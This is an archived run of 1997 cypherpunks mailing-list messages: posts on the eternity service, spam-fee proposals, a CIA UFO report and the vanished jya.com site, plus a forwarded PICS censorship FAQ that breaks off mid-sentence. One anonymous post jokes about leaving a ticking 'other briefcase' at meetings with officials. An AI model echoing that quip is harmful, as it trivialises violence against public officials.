print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 09:51:07 +0800
To: cypherpunks@cyberpass.net
Subject: eternity content suggestions?
Message-ID: <199708030146.CAA13825@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anyone got some ideas for content to stuff on the eternity service?

It looks like there might be a "wired news" article, and it would be
nice to have a few tasty items on-line.

I suspect it might be a better idea to start with the milder stuff,
something which has reasonable popular support which makes governments
look stupid for trying to censor.

Things like:

	- memoirs of dead french presidents doctor
	- radikal

Other ideas?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar <sar@cynicism.com>
Date: Sun, 3 Aug 1997 16:37:35 +0800
To: cypherpunks@toad.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708021921.UAA06401@server.test.net>
Message-ID: <3.0.2.32.19970803032004.00818890@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:32 AM 8/3/97 +1000, ? the Platypus {aka David Formosa} wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Sat, 2 Aug 1997, Adam Back wrote:
>
>> Next we choose a threshold say 1000 posts per day.  Seems hard to
>> imagine anyone generating manually over 1000 emails per day.  That's
>> more than 1 per minute for a 10 hour day.
>
>I bet this mailing list generates traffic of that order.  I would not wish
>to see legitimite mailing lists shut down to stop the spam.
>
>The best soultion given so far is Cause's suggestion of modifying the fax
>law so that we can sue the spammers.
>
Take bugtraq which has over 12,000 subscribers. Each post to bugtraq would
send out 12,000 emails so it would cost aleph one 1200$ per post to his
list. I dont think anyone would want to run a mailing list under these
sorts of conditions. Or say you run a normaly small mailing list with only
a few subscribers. One evil person could send just a few hundred emails to
you cost you money. The same goes for anon emails. Anyone not wanting to
take the chance of ending up spending $100 or more at the whim of any 14
year old with a copy of upyours or not wanting to have to pay for providing
a free public service would simply give up and shut down his mailinglist.

   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Sun, 3 Aug 1997 10:25:53 +0800
To: dlv@bwalk.dm.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
Message-ID: <199708030213.EAA12948@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



A million monkeys operating under the pseudonym 
"Dr. Dmitri Vulis, KOTM <dlv@bwalk.dm.com>" typed:

> "William H. Geiger III" <whgiii@amaranth.com> writes:
> 
> > In <199707311120.MAA00669@server.test.net>, on 07/31/97
> >    at 12:20 PM, Adam Back <aba@dcs.ex.ac.uk> said:
> >
> > >Another longer term way to improve the situation is to charge some small
> > >token amount per article, just to encourage people to use it with some
> > >intelligence (use cross posts rather than separately reposting to each
> > >group).
> >
> > This will not work!!!
> >
> > Charging for e-mail/news posts will no nothing to prevent spam and more
> > than likely increase the noise on such lists. It is the spamers who have
> > the money to post volumns of their crap. Allso I think you will find that
> > it will be the fanatics who will think it worth the $$$ to get their
> > message out.
> 
> In all fairness, it would decrease the "spam" because some spammers are
> certain to be unwilling to pay for braodcasting the kind of crap they
> now broadcast for a flat fee. However it would not eliminate the "spam"
> and it would damped the "signal" more than it would damped the "noise".


You guys are all forgetting the second part of the protocol-- 
receiver receives message, reads it and decides whether he 
wants to receive more mail like this one from this sender.  If
so, receiver sends the token back.


It's called "good faith deposit".


--Z





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 08:50:10 +0800
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708021921.UAA06401@server.test.net>
Message-ID: <Pine.LNX.3.93.970803062838.108B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Adam Back wrote:

> Next we choose a threshold say 1000 posts per day.  Seems hard to
> imagine anyone generating manually over 1000 emails per day.  That's
> more than 1 per minute for a 10 hour day.

I bet this mailing list generates traffic of that order.  I would not wish
to see legitimite mailing lists shut down to stop the spam.

The best soultion given so far is Cause's suggestion of modifying the fax
law so that we can sue the spammers.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+OZaaQK0ynCmdStAQHwswP+PUSe66qf6Na6TdkrWwW3jWoorfqYIi5v
J6azAQ87dZuxMFqLuYrQ2eqq/701HNjhJdp8RcSfGEyPp4hx2wu7WwnKqCiX9HW/
7HRxJ6wkzc53DToKk6OmQp8heDJ45eFzqwVwaaItwe3P8BpN2szQiO/HXXBXDWYd
qsoP/J/GWI8=
=RugV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 3 Aug 1997 20:17:47 +0800
To: cypherpunks@toad.com
Subject: CIA Report on UFOs
Message-ID: <1.5.4.32.19970803115839.00694808@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The New York Times reports today on a declassified
CIA report on UFOs which discloses that over half
of the public sightings in the 1950s and '60s were lied 
about by the US Government to protect dark secret spy 
planes and programs, primarily those of the U-2 and 
SR-71. "The admission raised questions about other 
Federal cover-ups involving U.F.O.s."

The CIA report is at:

   http://www.odci.gov/csi/studies/97unclas/ufo.html

For those who wish to avoid the CIA Web site, we put a copy at:

   http://jyx.com/ciaufo.htm

The NYT Web site:

   http://www.nytimes.com

In you cannot access it, see the story at:

   http://jyx.com/ufonews.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 15:09:29 +0800
To: cypherpunks@toad.com
Subject: Re: Duncan Long on Cypherpunks and Guns
Message-ID: <199708030657.IAA25280@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> While looking through Duncan Long's Web pages on survivalism, guns, and
> such, I found this interesting mention of Cypherpunks.
> This particular article is at: http://www.prairienet.org/guns/dlgs/gun3.htm

> --begin excerpt from Duncan Long's article--

> Cypherpunks: Individuals who believe that the government is out to invade
> the privacy of everybody on the planet. The cypherpunk's central
> goal is to out-smart the system. (The encryption program, PGP, is often
> referred to by this group as "the Cypherpunk's best friend").
 
> Ravers: Folks who use synthesized and sampled music, computer-generated
> psychedelic ("cyberdelic") art, and designer drugs to create
> massive all-night dance parties and love-fests in empty warehouses.

  Damn, I'm on the wrong list...

RaveMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 3 Aug 1997 21:54:14 +0800
To: cypherpunks@toad.com
Subject: Banished JYA
Message-ID: <1.5.4.32.19970803133307.006e49b4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



From: http://jyx.com/index.htm

JYX

3 August 1997

This site, JYX.COM, was set up on July 26, 1997 to substitute for 
JYA.COM which vanished on July 24, 1997, and thereby denied access 
to the site's architectural and public services. For a week technical 
and sales personnel of the ISP for JYA, AOL/PrimeHost, could not 
explain the disappearance.

On August 1, 1997, AOL/PrimeHost representative Steven Graham 
stated that JYA.COM had been "intentionally pulled" for undisclosed 
reasons. Mr. Graham's telephone: (703) 265-4464.
 
Reinstitution of JYA's architectural and public services should occur 
shortly, either by restart of JYA.COM with PrimeHost, or via another 
ISP. In the event that AOL/PrimeHost pulls JYX as well, announcement 
of alternative hosting and reasons for the change will be made on 
several mail lists:

   <cypherpunks@toad.com> 
   <cryptography@c2.net> 
   <ukcrypto@maillist.ox.ac.uk>
   <cyberia-l@aol.com>
   <design-l@psuvm.psu.edu> 
   <wam-l@arch-mag.com> 
   <the several Spoon lists @jefferson.village.virginia.edu> 
   <wire@monkey-boy.com> 

   and other lists and news groups as appropriate. 

This site is hosted by PrimeHost, which provided excellent service 
for JYA.COM for a year -- until now with this mysterious vanishing 
action.

------------------------------------------------------------------

                       Vanished JYA.COM

Denied Services                     Denied Files (80MB)

Architectural 

   Natsios Young Architect          http://jya.com/nya.htm
   John Young Architect             http://jya.com/jya.htm

Public / Urban Deadline

   Cryptography Archives            http://jya.com/crypto.htm
                                    http://jya.com/cryptomb.htm

   Architectural Archives           http://jya.com/arch.htm

------------------------------------------------------------------

For now offering only: Cryptox.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 3 Aug 1997 16:22:26 +0800
To: cypherpunks@toad.com
Subject: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708030802.KAA01641@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito wrote:
> At 23:46 97/08/01 -0700, Tim May wrote:
> > And why are you helping to write a report that will be the "official
> > position" of the Japanese cops?

> Because, it would be much better to have it say, "we don't want key
> escrow." My position on the study group is much more like making
> a testimony in congress. Unlike the US, once a bill hits the floor,
> it is very hard to participate. I have to participate while it is still
> in the ministry level.

  Tim spends so much time cleaning his guns he sometimes gets a bit
myopic and everything he sees looks like a "target."
  While it is true that the process Joichi Ito is speaking of is still
subject to the failing of those "protesting" becoming bum-buddies with
those they are "protesting against," it is also true that it is more 
like giving opposing Congressional testimony than like joining the
"old boys" at the Whithouse to trade your soul for a few moments of
touching the hem of the King's garment at the seat of power.

> > The JDF is notoriously militaristic. You should reconsider this.

> > And Cypherpunks should be very careful about "advising" an obviously
> > co-opted member of the Japanese military and police establishment.

> Again. If you want to view me as "co-opted" that's fine. Without me,
> you would not have gotten Gilmore, Carl Ellison, or Whit Diffie's voice
> on the record during the study group hearings. Do you think I should
> just sit back and let the KEA's take over?

  It is clearly up to Joichi Ito to decide how he can best work toward
cypherpunk goals under his system of government, but he would do well
to listen to those on the list who have seen more than a few crusaders
sink into the swill when they make the mistake of talking to the piggies
too close to the trough.
  A good sign that you have not yet been co-opted is if you still take
that "extra" briefcase to the meetings, just in case.
{"I've got to run out to my car for a moment with my briefcase, but I
will be leaving my _other_ briefcase here." <tick-tock-tick-tock>}

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 4 Aug 1997 01:21:08 +0800
To: cypherpunks@toad.com
Subject: PICS and intellectual freedom FAQ
Message-ID: <Pine.GSO.3.95.970803100415.13596K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sun, 3 Aug 1997 10:04:04 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: PICS and intellectual freedom FAQ

[If you care about the debate over self-labeling your web pages -- not to
mention email and Usenet posts -- read this FAQ on PICS. Thanks to Paul
for putting this together. --Declan]


---------- Forwarded message ----------
Date: Sun, 27 Jul 1997 07:36:52 -0400
From: Paul Resnick <presnick@umich.edu>
To: declan@well.com
Cc: lessig@pobox.com
Subject: PICS and Intellectual Freedom FAQ

7/27/97

Declan,

Given the renewed debate about the intellectual freedom implications of
rating and filtering generally, and PICS in particular, your readers may
find my FAQ on the subject enlightening. It introduces a number of useful
distinctions that seem to be missing from some recent discussion (rating
vs. filtering; self-rating vs. third-party rating; local vs. central
setting of filtering rules). There are some legitimate intellectual freedom
concerns with both rating and filtering, but it's important to get beyond
sweeping generalizations.

The URL is http://www.si.umich.edu/~presnick/pics/intfree/FAQ.htm

Paul Resnick
Associate Professor
University of Michigan
School of Information
chair, PICS Interest Group, World Wide Web Consortium

P.S. Please send comments about the FAQ to pics-ask@w3.org. Since I'll be
out of email contact for the next week, however, you should not expect an
immediate response.

---------------

Date: Mon, 28 Jul 97 15:06:10 -0400
From: Larry Lessig <lessig@pobox.com>
To: presnick@umich.edu, declan@well.com
Subject: Re: PICS and Intellectual Freedom FAQ

Hello Declan:

The FAQ is excellent - honest and clear, and it would help move the 
debate along well. As a strong opponent of some aspects of PICS, I hope 
you get a chance to run this.

Let me know if you get to Cambridge, 

-----------------

[I took this from http://www.si.umich.edu/~presnick/pics/intfree/FAQ.htm
-- check out that URL for links and graphics. --Declan]


                 PICS, Censorship, & Intellectual Freedom FAQ
                                       
   Paul Resnick (comments to pics-ask@w3.org)
   
   Draft version 1.12 last revised June 26, 1997
   
                                   Abstract
                                       
   The published articles describing PICS (Communications of the ACM,
   Scientific American) have focused on individual controls over the
   materials that are received on a computer. While those articles also
   mention the possibility of more centralized controls (e.g., by
   employers or governments), they describe only briefly the technical
   details and the intellectual freedom implications of such centralized
   controls. The civil liberties community has raised some alarms about
   those intellectual freedom implications. The goals for this Frequently
   Asked Questions (FAQ) document are to:
     * Clarify some technical questions about individual and centralized
       content controls based on PICS.
     * Argue that the net impact of PICS will be to shift government
       policies away from centralized controls and toward individual
       controls, although this impact may be visible only at the margins.
     * Describe how the World Wide Web Consortium (W3C) presents PICS in
       the public policy arena.
       
                                  Background
                                       
   In 1995, policies were proposed in several countries, including the
   USA, to restrict the distribution of certain kinds of material over
   the Internet. In many but not all cases, protection of children was
   the stated goal for such policies (see, for example, CIEC: Citizens
   Internet Empowerment Coalition).
   
   The focus on restricting inappropriate materials at their source is
   not well suited to the international nature of the Internet, where an
   information source may be in a different legal jurisdiction than the
   recipient. Moreover, materials may be legal and appropriate for some
   recipients but not others, so that any decision about whether to block
   at the source will be incorrect for some audiences.
   
   PICS, the Platform for Internet Content Selection, is a set of
   technical specifications that facilitate recipient-centered controls
   on Internet content, rather than sender-centered controls. The
   following diagram illustrates recipient-centered controls:
   
   [INLINE]
   
   Filtering software sits between a child (or any Internet user) and the
   available content. It allows access to some materials, and blocks
   access to other materials. Some filtering software directly analyzes
   content, typically looking for particular keywords. This FAQ, however,
   does not deal with that kind of software; it deals, instead, with
   filtering software that decides what to allow and what to block based
   on two information sources.
     * The first source is a set of descriptive labels that are
       associated with the materials. Those labels may be provided by
       information publishers who describe their own work, or may be
       provided by independent reviewers. A single document may have
       several labels associated with it.
     * The second information source the filter uses is a set of
       filtering rules, which say what kinds of labels to pay attention
       to, and what particular values in the labels indicate acceptable
       or unacceptable materials.
       
   PICS was not the first technology based on the idea of
   recipient-centered controls. For example, SurfWatch was already on the
   market in the summer of 1995 when PICS development began. It is based
   on a particularly simple set of labels: a list of URLs to avoid. As
   another example, some firewalls that corporations had introduced for
   security purposes blocked access to certain IP addresses. PICS
   provides a set of technical specifications so that pieces of the
   picture could be provided by different entities, yet still work
   together.
   
   The first and most important distinction that PICS introduced is a
   separation between labeling and filtering. A label describes the
   content of something. A filter makes the content inaccessible to some
   audience. While both labeling and filtering may introduce social
   concerns, the concerns are somewhat different. More generally, there
   are six roles that could all be filled by different entities:
    1. Set labeling vocabulary and criteria for assigning labels
    2. Assign labels
    3. Distribute labels
    4. Write filtering software
    5. Set filtering criteria
    6. Install/run filtering software
       
   PICS itself actually fills none of the six roles listed above! PICS is
   a set of technical specifications that makes it possible for these
   roles to be played by independent entities.
   
   For example, RSACi and SafeSurf have each defined labeling vocabulary
   and criteria for rating. They each wrote down a vocabulary in a
   machine-readable format that PICS specifies. RSACi has four categories
   in its vocabulary, language, nudity, sex, and violence; SafeSurf has
   more categories. Because they write down their vocabularies in the
   PICS format, label distribution software (e.g., from IBM and Net
   Shepherd) and filtering software (e.g., from Microsoft, IBM, and
   others) can process labels based on those vocabularies. Even though
   RSACi and SafeSurf have each specified a labeling vocabulary and
   criteria for assigning labels, neither of them actually assigns
   labels: they leave it up to the authors of documents to apply to
   criteria to their own documents, or self-label as PICS documents call
   it. Other services, such as CyberPatrol and Net Shepherd, take on both
   of the first two roles, choosing the labeling vocabulary and employing
   people to actually assign labels.
   
                             Questions and Answers
                                       
                               What PICS Enables
                                       
  Can PICS be used for more than just content filtering?
  
   Yes. While the motivation for PICS was concern over children accessing
   inappropriate materials, it is a general "meta-data" system, meaning
   that labels can provide any kind of descriptive information about
   Internet materials. For example, a labeling vocabulary could indicate
   the literary quality of an item rather than its appropriateness for
   children. Most immediately, PICS labels could help in finding
   particularly desirable materials (see, for example, NetShepherd's
   label-informed Alta Vista search), and this is the main motivation for
   the ongoing work on a next generation label format that can include
   arbitrary text strings. More generally, the W3C is working to extend
   Web meta-data capabilities generally and is applying them specifically
   in the following projects:
   
   Digital Signature Project
          coupling the ability to make assertions with a cryptographic
          signature block that ensures integrity and authenticity.
          
   Intellectual Property Rights Management
          using a meta-data system to label Web resources with respect to
          their authors, owners, and rights management information.
          
   Privacy (P3)
          using a meta-data system to allow sites to make assertions
          about their privacy practices, and for users to express their
          preferences for the type of interaction they want to have with
          those sites.
          
   Regardless of content control, meta-data systems such as PICS are
   going to be an important part of the Web, because they enable more
   sophisticated commerce (build and manage trust relationships),
   communication, indexing, and searching services.
   
     "The promise of digital commerce is that it will allow you to use
     the Internet to purchase the services of the best organic gardening
     advisors or mad cow disease specialists, whether they live in Santa
     Clara or Timbuktu. To do this, you need to do more than verify that
     the person at the other end of the wire is who he says he is. You
     need to assess competence, reliability, judgment. In other words,
     you need a system of branding, but applied much more widely for
     highly specialized and hard-to-evaluate services and products. You
     need value-added services that will not only lead you to the right
     product or service but also rate its quality or otherwise vouch for
     it."
     
     Francis Fukayama
     
     (Forbes ASAP 12/96 p 69)
     
  Does PICS enable censorship?
  
   This seemingly straightforward question, upon closer inspection, turns
   out to be many different questions when asked by different people.
   Many people are concerned about governments assuming one or more of
   the roles described in the answer to the previous question. Others are
   concerned about employers setting filtering rules, abuse of power by
   independent labelers, or a chilling effect on speech even if speech is
   not banned outright. People also employ different definitions of
   censorship. The most expansive definition is, "any action by one
   person that makes otherwise available information unavailable to
   another person." Under this expansive definition, even a parent
   setting filtering rules for a child would count as censorship. PICS
   documents have adopted the more restrictive definition of censorship
   as actions that limit what an individual can distribute, and use the
   term "access controls" for restrictions on what individuals can
   receive. But the distinction blurs if a central authority restricts
   access for a set of people. Finally, people have different definitions
   of "enable." Some would say that PICS enables any application that
   uses PICS-compatible components, while we reserve the term "enables"
   for applications that can easily be implemented with PICS-compatible
   components but could not be easily implemented otherwise.
   
   Given the variety of implicit questions, it doesn't make sense to
   provide a blanket answer to the question of whether PICS enables
   censorship. This FAQ answers many of the specific questions that
   people often mean when they ask the more general question. For
   example, we ask questions about whether PICS makes it easier or harder
   for governments to impose labeling and filtering requirements. If you
   believe there's another specific question that should be addressed,
   please send it to pics-ask@w3.org, for possible inclusion in a later
   version.
   
  Could governments encourage or impose receiver-based controls? Does PICS make
  it easier or harder for governments to do so?
  
   Yes. A government could try to assume any or all of the six roles
   described above, although some controls might be harder than others to
   enforce. As described below, governments could assume some of these
   roles even without PICS, while other roles would be harder to assume
   if PICS had not been introduced. It's important to note that W3C does
   not endorse any particular government policy. The purpose of this FAQ
   is to explain the range of potential policies and to explore some of
   the impacts of those policies on both the climate of intellectual
   freedom and the technical infrastructure of the World Wide Web.
   Potential government policies:
    1. Set labeling vocabulary and criteria. A government could impose a
       labeling vocabulary and require all publishers (in the
       government's jurisdiction) to label their own materials according
       to that vocabulary. Alternatively, a government might try to
       achieve the same effect by encouraging an industry self-policing
       organization to choose a vocabulary and require subscribers to
       label their own materials. Civil liberties advocates in Australia
       are especially concerned about this (see The Net Labeling
       Delusion). PICS makes it somewhat easier for a government to
       impose a self-labeling requirement: without PICS, a government
       would have to specify a technical format for the labels, in
       addition to specifying the vocabulary and criteria, and there
       might not be any filtering software available that could easily
       process such labels.
    2. Assign labels. A government could assign labels to materials that
       are illegal or harmful. This option is most likely to be combined
       with government requirements that such materials be filtered (see
       #5 below) but it need not be; a government could merely provide
       such labels as an advisory service to consumers, who would be free
       to set their own rules, or ignore the labels entirely. If a
       government merely wants to label, and not impose any filtering
       criteria, then PICS again provides some assistance because it
       enables a separation of labeling from filtering. On the other
       hand, a government that wishes to require filtering of items it
       labels as illegal gets little benefit from PICS as compared to
       prior technologies, as discussed below in the question about
       national firewalls.
    3. Distribute labels. A government could operate or finance operation
       of a Web server to distribute labels (a PICS label bureau); the
       labels themselves might be provided by authors or independent
       third parties. Taken on its own, this would actually contribute to
       freedom of expression, since it would make it easier for
       independent organizations to express their opinions (in the form
       of labels) and make those opinions heard. Consumers would be free
       to ignore any labels they disagreed with. Again, since PICS
       separates labeling from filtering, it enables a government to
       assist in label distribution without necessarily imposing filters.
       If combined with mandatory filtering, however, a
       government-operated or financed label bureau could contribute to
       restrictions on intellectual freedom.
    4. Write filtering software. It's unlikely that a government would
       write filtering software rather than buying it; the supplier of
       filtering software probably has little impact on intellectual
       freedom.
    5. Set filtering criteria. A government could try to impose filtering
       criteria in several ways, including government-operated proxy
       servers (a national intranet), mandatory filtering by service
       providers or public institutions (e.g., schools and libraries), or
       liability for possession of materials that have been labeled a
       particular way. In some ways, by enabling independent entities to
       take on all the other roles, PICS highlights this as the primary
       political battleground. Each national and local jurisdiction will
       rely on its political and legal process to answer difficult policy
       questions: Should there be any government-imposed controls on what
       can be received in private or public spaces? If so, what should
       those controls be? Most kinds of mandatory filters could be
       implemented without PICS. One potential policy, however, mandatory
       filtering based on labels provided by non-government sources,
       would have been difficult to impose without PICS.
    6. Install/run filters. A Government could require that filtering
       software be made available to consumers, without mandating any
       filtering rules. For example, a government could require that all
       Internet Service Providers make filtering software available to
       its customers, or that all PC browsers or operating systems
       include such software. Absent PICS, governments could have imposed
       such requirements anyway, since proprietary products such as
       SurfWatch and NetNanny are available.
       
  Since PICS makes it easier to implement various kinds of controls, should we
  expect there to be more such controls overall?
  
   Yes; all other things being equal, when the price of something drops,
   more of it will be consumed.
   
  Does PICS encourage individual controls rather than government controls?
  
   Yes; for example, a national proxy-server/firewall combination that
   blocks access to a government-provided list of prohibited sites does
   not depend on interoperability of labels and filters provided by
   different organizations. While such a setup could use PICS-compatible
   technology, a proprietary technology provided by a single vendor would
   be just as effective. Other controls, based on individual or local
   choices, benefit more from mixing and matching filtering software and
   labels that come from different sources, which PICS enables. Thus,
   there should be some substitution of individual or local controls for
   centralized controls, although it is not obvious how strong this
   substitution effect will be. In both Europe and Australia initial
   calls for centralized controls gave way to government reports calling
   for greater reliance on individual recipient controls; the end results
   of these political processes, however, are yet to be determined.
   
                                   Labeling
                                       
  Does it matter whether labels are applied to IP addresses or to URLs?
  
   An IP address identifies the location of a computer on the Internet. A
   URL identifies the location of a document. To simplify a little, a URL
   has the form http://<domain-name>/<filename>. A web browser first
   resolves (translates) the domain-name into an IP address. It then
   contacts the computer at that address and asks it to send the
   particular filename. Thus, a label that applies to an IP address is a
   very broad label: it applies to every document that can be retrieved
   from that machine. Labeling of URLs permits more flexibility:
   different documents or directories of documents can be given different
   labels.
   
   This difference of granularity will, naturally, have an impact on
   filtering. Filters based on IP addresses will be cruder: if some but
   not all of the documents available at a particular IP address are
   undesirable, the filter will have to either block all or none of those
   documents. PICS, by contrast, permits labeling of individual URLs, and
   hence permits finer grain filters as well.
   
Self-labeling

  Does PICS make author self-labeling more effective?
  
   Yes. Without a common format for labels, authors could not label
   themselves in a way that filtering programs could make use of. PICS
   provides that format.
   
  Does PICS make a government requirement of self-labeling more practical to
  implement?
  
   It enables such a requirement to have more impact. A government
   requirement of self-labeling would have little impact if the labels
   were not usable by filtering programs. PICS provides the common format
   so that filtering software from one source can use labels provided by
   other sources (authors in this case).
   
  Does self-labeling depend on universal agreement on a labeling vocabulary and
  criteria for assigning labels to materials?
  
   Although universal agreement is not necessary, there does need to be
   some harmonization of vocabulary and labeling criteria, so that labels
   provided by different authors can be meaningfully compared.
   
  Does PICS make it easier for governments to cooperate in imposing
  self-labeling requirements?
  
   Yes. PICS provides a language-independent format for expressing
   labels. If governments agreed on a common set of criteria for
   assigning labels, the criteria could be expressed in multiple
   languages, yet still be used to generate labels that can be compared
   to each other.
   
  Is it effective for (some) authors to label their own materials as
  inappropriate for minors? What about labeling appropriate materials?
  
   Both kinds of labeling could be effective, but only if a high
   percentage of the materials of a particular type are labeled. If the
   inappropriate materials are labeled, then a filter can block access to
   the labeled items. If the appropriate materials are labeled, then a
   filter can block access to all the unlabeled items.
   
Third-party labeling

  Can an organization I dislike label my web site without my approval?
  
   Yes. Anyone can create a PICS label that describes any URL, and then
   distribute that label to anyone who wants to use that label. This is
   analogous to someone publishing a review of your web site in a
   newspaper or magazine.
   
  Isn't there a danger of abuse if a third-party labeler gets too powerful?
  
   If a lot of people use a particular organization's labels for
   filtering, that organization will indeed wield a lot of power. Such an
   organization could, for example, arbitrarily assign negative labels to
   materials from its commercial or political competitors. The most
   effective way to combat this danger is to carefully monitor the
   practices of labeling services, and to ensure diversity in the
   marketplace for such services, so that consumers can stop using
   services that abuse their power.
   
Other Social Concerns About Labeling

  Why did PICS use the term "label", with all of its negative associations?
  
   PICS documents use the term "label" broadly to refer to any
   machine-readable information that describes other information. Even
   information that merely classifies materials by topic or author
   (traditional card catalog information) would qualify as labels if
   expressed in a machine-readable format. The PICS developers recognized
   that the term "label" has a narrower meaning, with negative
   connotations, for librarians and some other audiences, but it was the
   most generic term the PICS creators could find without reverting to
   technical jargon like "metadata."
   
   In media with centralized distribution channels, such as movies,
   labeling and filtering are not easily separated. For example, unrated
   movies are simply not shown in many theaters in the USA. In addition
   to its technical contribution, PICS makes an intellectual contribution
   by more clearly separating the ideas of labeling and filtering. Many
   of the negative connotations associated with "labeling" really should
   be associated with centralized filtering instead. There are, however,
   some subtle questions about the impact of labeling itself, as
   articulated in the next two questions.
   
  Does the availability of labels impoverish political discussions about which
  materials should be filtered?
  
   Matt Blaze (personal communication) describes this concern with an
   analogy to discussions at local school board meeting about books to be
   read in a high school English class. Ideally, the discussion about a
   particular book should focus on the contents of the book, and not on
   the contents of a review of the book, or, worse yet, a label that says
   the book contains undesirable words.
   
   There will always be a tradeoff, however, between speed of
   decision-making and the ability to take into account subtleties and
   context. When a large number of decisions need to be made in a short
   time, some will have to be made based on less than full information.
   The challenge for society, then, will be to choose carefully which
   decisions merit full discussion, in which case labels should be
   irrelevant, and which decisions can be left to the imperfect summary
   information that a label can provide. The following excerpt from
   Filtering the Internet summarizes this concern and the need for
   eternal vigilance:
   
     "Another concern is that even without central censorship, any
     widely adopted vocabulary will encourage people to make lazy
     decisions that do not reflect their values. Today many parents who
     may not agree with the criteria used to assign movie ratings still
     forbid their children to see movies rated PG-13 or R; it is too
     hard for them to weigh the merits of each movie by themselves.
     
     Labeling organizations must choose vocabularies carefully to match
     the criteria that most people care about, but even so, no single
     vocabulary can serve everyone's needs. Labels concerned only with
     rating the level of sexual content at a site will be of no use to
     someone concerned about hate speech. And no labeling system is a
     full substitute for a thorough and thoughtful evaluation: movie
     reviews in a newspaper can be far more enlightening than any set of
     predefined codes."
     
  Will the expense of labeling "flatten" speech by leaving non-commercial
  speech unlabeled, and hence invisible?
  
   This is indeed a serious concern, explored in detail by Jonathan
   Weinberg in his law review article, Rating the Net. The following
   excerpt from Filtering the Internet acknowledges that materials of
   limited appeal may not reach even the audiences they would appeal to,
   but argues that labeling is merely a symptom rather than a cause of
   this underlying problem:
   
     "Perhaps most troubling is the suggestion that any labeling system,
     no matter how well conceived and executed, will tend to stifle
     noncommercial communication. Labeling requires human time and
     energy; many sites of limited interest will probably go unlabeled.
     Because of safety concerns, some people will block access to
     materials that are unlabeled or whose labels are untrusted. For
     such people, the Internet will function more like broadcasting,
     providing access only to sites with sufficient mass-market appeal
     to merit the cost of labeling.
     
     While lamentable, this problem is an inherent one that is not
     caused by labeling. In any medium, people tend to avoid the unknown
     when there are risks involved, and it is far easier to get
     information about material that is of wide interest than about
     items that appeal to a small audience."
     
                                   Filtering
                                       
  Does PICS make national firewalls easier to implement?
  
   No, but an effective national firewall would make it possible for a
   government to impose PICS-based filtering rules on its citizens. A
   firewall partitions a network into two components and imposes rules
   about what information flow between the two components. The goal of a
   national firewall is to put all the computers in the country into one
   component, and all computers outside the country into the other
   component. This is difficult to do, especially if people deliberately
   try to find out connections (e.g., telephone lines) between computers
   inside the country and those outside the country. Given a successful
   partition, however, PICS could be used to implement the filtering
   rules for a firewall. In particular, the government could identify
   prohibited sites outside the country that people inside the country
   could not access; such a filtering could be implemented based on
   PICS-formatted labels or, without relying on PICS-compatible
   technology, with a simple list of prohibited URLs.
   
  Does PICS enable ISP compliance with government requirements that they
  prohibit access to specific URLs?
  
   ISP compliance with government prohibition lists is already practical,
   even without PICS. It would also be possible to comply using
   PICS-based technologies. PICS does make it easier for ISPs to comply
   with a government requirement to block access to sites labeled by
   non-governmental entities (including those that are self-labeled by
   the authors of the sites).
   
  Are proxy-server based implementations of PICS filters compatible with the
  principle of individual controls?
  
   Yes. PICS enables mixing and matching of the five roles. In
   particular, a service provider could install and run filtering
   software on a proxy server, but allow individuals to choose what
   filtering rules will be executed for each account. AOL already offers
   a primitive version of this idea, not based on PICS; parents can turn
   the preset filtering rules on or off for each member of the family.
   
  Are client based implementations of PICS filters usable only for individual
  controls?
  
   No. Governments could require the use of filters on clients. The city
